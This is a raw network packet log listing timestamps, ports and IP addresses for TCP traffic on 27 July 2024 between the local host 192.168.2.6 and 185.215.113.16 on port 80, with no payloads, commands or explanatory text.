Jul 27, 2024 03:19:38.129434109 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.129486084 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.129528999 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.129647970 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.129659891 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.129659891 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.129681110 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.129714012 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.129729986 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.129729986 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.129748106 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.129781008 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.129792929 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.129792929 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.129884005 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.130206108 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.130259991 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.130290031 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.130292892 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.130317926 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.130326033 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.130342007 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.130361080 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.130388975 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.130424023 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.131786108 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.131814957 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.131864071 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.131892920 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.131892920 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.131896019 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.131925106 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.131951094 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.131983995 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.132004976 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.132011890 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.132038116 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.132047892 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.132071018 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.132103920 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.132129908 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.132136106 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.132153988 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.132170916 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.132216930 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.132320881 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.132936954 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.132970095 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.132999897 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.133019924 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.133024931 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.133052111 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.133085012 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.133099079 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.133117914 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.133130074 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.133152008 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.133162022 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.133183956 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.133219957 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.133225918 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.133315086 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.133841991 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.133874893 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.133908987 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.133914948 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.133914948 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.133956909 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.133960009 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.133992910 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.134026051 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.134040117 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.134040117 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.134057999 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.134088993 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.134089947 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.134099007 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.134124041 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.134174109 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.134174109 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.134900093 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.134952068 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.134952068 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.134984970 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.135018110 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.135030031 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.135030031 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.135051966 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.135062933 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.135092020 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.214127064 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.214153051 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.214169979 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.214180946 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.214196920 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.214206934 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.214216948 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.214225054 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.214227915 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.214235067 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.214245081 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.214253902 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.214263916 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.214270115 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.214276075 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.214312077 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.214312077 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.214524031 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.214576006 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.274872065 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.274895906 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.274908066 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.274919033 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.274936914 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.274944067 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.274954081 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.274964094 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.274975061 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.274979115 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.274986029 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275002003 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275008917 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275008917 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275012970 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275022984 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275034904 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275038004 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275060892 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275084019 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275120020 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275120020 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275155067 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275166035 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275187969 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275192976 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275211096 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275218964 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275223970 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275229931 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275291920 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275302887 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275319099 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275321007 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275330067 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275335073 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275341034 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275387049 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275387049 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275398016 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275451899 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275464058 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275471926 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275474072 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275520086 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275520086 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275531054 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275541067 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275553942 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275600910 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275600910 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275666952 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275717974 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275728941 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275739908 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275748968 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275762081 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275763035 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275773048 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275784969 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275818110 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275818110 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275820971 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275831938 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275842905 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275852919 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275877953 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.275892019 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275933027 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275942087 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275974989 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275986910 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.275998116 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276012897 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276037931 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276047945 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276047945 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276098013 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276109934 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276120901 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276132107 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276133060 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276171923 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276171923 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276194096 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276204109 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276213884 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276243925 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276252031 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276263952 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276263952 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276276112 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276285887 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276330948 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276330948 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276339054 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276413918 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276413918 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276424885 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276436090 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276458025 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276468039 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276468039 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276468039 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276498079 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276498079 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276520014 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276531935 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276544094 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276627064 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276638985 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276648045 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276652098 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276652098 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276659966 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276670933 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276678085 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276678085 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276679993 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276722908 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276724100 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276778936 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276791096 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276823044 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276824951 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276834011 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276839018 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276845932 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276884079 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.276885033 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276920080 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.276978970 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277009010 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277019978 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277048111 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.277048111 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.277062893 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277070999 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.277074099 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277089119 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277100086 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277105093 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.277136087 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.277137041 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.277168989 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277204990 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.277230024 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277268887 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.277299881 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277312994 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277324915 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277338028 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277378082 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277396917 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.277404070 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277410984 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.277410984 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.277472973 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277484894 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277494907 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277528048 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.277559042 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277570963 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277580976 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277585983 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.277662039 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.277662039 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.277663946 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277674913 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277684927 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277694941 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277705908 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.277745008 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.277761936 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.301923990 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.302002907 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.302011967 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.302066088 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.302073956 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.302102089 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.302134991 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.302154064 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.302169085 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.302221060 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.302221060 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.302222967 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.302265882 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.302328110 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.302361965 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.302370071 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.302370071 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.302393913 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.302427053 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.302429914 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.302429914 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.302459955 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.302493095 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.302524090 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.302551031 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.302551031 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.302557945 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.302589893 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.302598000 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.302598000 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.302628994 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.302659988 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.302691936 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.302701950 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.302701950 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.302727938 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.302736044 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.302810907 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.362559080 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.362581015 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.362592936 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.362623930 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.362634897 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.362646103 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.362658024 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.362673998 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.362673998 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.362785101 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.363116980 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.363130093 CEST	80	49725	185.215.113.16	192.168.2.6
